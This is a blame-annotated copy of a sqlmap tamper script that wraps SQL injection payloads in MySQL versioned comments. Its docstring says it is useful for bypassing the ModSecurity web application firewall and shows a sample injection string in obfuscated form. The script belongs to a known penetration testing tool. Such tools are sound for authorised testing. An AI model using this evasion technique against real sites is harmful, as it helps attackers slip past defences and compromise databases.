2013-02-14 15:32:17 +04:00
|
|
|
#!/usr/bin/env python
|
2011-10-20 02:07:23 +04:00
|
|
|
|
|
|
|
"""
|
2018-01-02 02:48:10 +03:00
|
|
|
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
2017-10-11 15:50:46 +03:00
|
|
|
See the file 'LICENSE' for copying permission
|
2011-10-20 02:07:23 +04:00
|
|
|
"""
|
|
|
|
|
2011-10-25 18:03:11 +04:00
|
|
|
from lib.core.common import randomInt
|
2018-02-08 18:49:16 +03:00
|
|
|
from lib.core.common import singleTimeWarnMessage
|
|
|
|
from lib.core.enums import DBMS
|
2011-10-20 02:07:23 +04:00
|
|
|
from lib.core.enums import PRIORITY
|
|
|
|
|
|
|
|
__priority__ = PRIORITY.HIGHER
|
|
|
|
|
|
|
|
def dependencies():
|
2018-02-08 18:49:16 +03:00
|
|
|
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
|
2011-10-20 02:07:23 +04:00
|
|
|
|
2012-12-03 17:27:01 +04:00
|
|
|
def tamper(payload, **kwargs):
|
2011-10-20 02:07:23 +04:00
|
|
|
"""
|
2011-10-24 04:17:38 +04:00
|
|
|
Embraces complete query with versioned comment
|
2011-10-20 02:07:23 +04:00
|
|
|
|
|
|
|
Requirement:
|
|
|
|
* MySQL
|
|
|
|
|
|
|
|
Tested against:
|
|
|
|
* MySQL 5.0
|
|
|
|
|
|
|
|
Notes:
|
|
|
|
* Useful to bypass ModSecurity WAF/IDS
|
2013-03-14 00:57:09 +04:00
|
|
|
|
|
|
|
>>> import random
|
|
|
|
>>> random.seed(0)
|
|
|
|
>>> tamper('1 AND 2>1--')
|
|
|
|
'1 /*!30874AND 2>1*/--'
|
2011-10-20 02:07:23 +04:00
|
|
|
"""
|
|
|
|
|
|
|
|
retVal = payload
|
|
|
|
|
|
|
|
if payload:
|
|
|
|
postfix = ''
|
|
|
|
for comment in ('#', '--', '/*'):
|
|
|
|
if comment in payload:
|
|
|
|
postfix = payload[payload.find(comment):]
|
|
|
|
payload = payload[:payload.find(comment)]
|
|
|
|
break
|
|
|
|
if ' ' in payload:
|
2011-10-25 18:03:11 +04:00
|
|
|
retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix)
|
2011-10-20 02:07:23 +04:00
|
|
|
|
2012-10-25 12:10:23 +04:00
|
|
|
return retVal
|